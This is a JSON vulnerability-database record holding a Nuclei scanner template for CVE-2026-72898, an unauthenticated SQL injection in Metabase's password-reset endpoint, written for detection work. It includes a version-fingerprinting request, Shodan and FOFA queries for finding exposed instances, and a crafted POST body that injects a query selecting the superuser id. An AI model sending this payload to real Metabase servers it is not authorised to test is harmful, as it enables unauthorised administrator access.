{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2026-72898/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2026-72898/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2026-72898/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2026-72898/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2026-72898/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2026-72898"},"sightings":{"href":"/api/v1/sightings/cve-2026-72898"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2026/CVE-2026-72898.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2026-72898\n\ninfo:\n  name: Metabase - Unauthenticated SQL Injection\n  author: 0x_Akoko,pdteam\n  severity: critical\n  description: |\n    Metabase contains a sql injection caused by improper sanitization of input in the '/reset_password' database endpoint, letting remote unauthenticated attackers gain administrator access, exploit requires no special privileges.\n  impact: |\n    Remote unauthenticated attackers can execute arbitrary SQL and gain administrator access to the Metabase instance.\n  remediation: |\n    Update to the latest version of Metabase.\n  reference:\n    - https://github.com/metabase/metabase/security/advisories/GHSA-vwf4-m7j8-wcjf\n    - https://securityonline.info/metabase-sql-injection-zero-day-exploited/\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-72898\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H\n    cvss-score: 10.0\n    cve-id: CVE-2026-72898\n    epss-score: 0.98809\n    epss-percentile: 0.99927\n    cwe-id: CWE-89\n  metadata:\n    verified: true\n    max-request: 3\n    shodan-query: http.title:\"Metabase\"\n    fofa-query: title=\"Metabase\"\n    product: metabase\n    vendor: metabase\n  tags: cve,cve2026,sqli,metabase,unauth,rce,kev,vkev\n\nflow: |\n  http(1);\n  if (template[\"mbtag\"]) {\n    var p = template[\"mbtag\"].replace(/^v/, \"\").split(\".\");\n    var major = parseInt(p[0], 10);\n    var minor = parseInt(p[1], 10);\n    var patch = parseInt(p[2] || \"0\", 10);\n    var fixes = {58: 24, 59: 21, 60: 17, 61: 11, 62: 9, 63: 5};\n    if ((major === 0 || major === 1) && fixes[minor] && patch < fixes[minor]) {\n      http(2);\n    }\n  }\n\nhttp:\n  - raw:\n      - |\n        GET /api/session/properties HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(content_type, \"json\")'\n          - 'contains(body, \"\\\"version\\\"\")'\n        condition: and\n        internal: true\n\n    extractors:\n      - type: json\n        name: mbtag\n        internal: true\n        json:\n          - \".version.tag\"\n\n  - raw:\n      - |\n        POST /api/session/reset_password HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"token\":\"1_0000\",\"password\":\"{{rand_text_alpha(6)}}Aa1!\",\"user-id\":{\"select\":[\"id\"],\"from\":[\"core_user\"],\"where\":[\"=\",\"is_superuser\",true],\"limit\":1}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 400'\n          - 'contains_all(body, \"\\\"errors\\\"\", \"\\\"password\\\"\")'\n          - '!contains_any(body, \"disallowed key\", \"unexpected key\")'\n        condition: and\n# digest: 4b0a00483046022100e10e638ef4635c1485cae0f419c138fd6b7aada9a39450e56b75e5d87c042b2c022100fc2b40b6cb13eb97b75c86f790e6a95c0be0c915c6b1028f03784c4b9b8e91ba:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2026-72898"}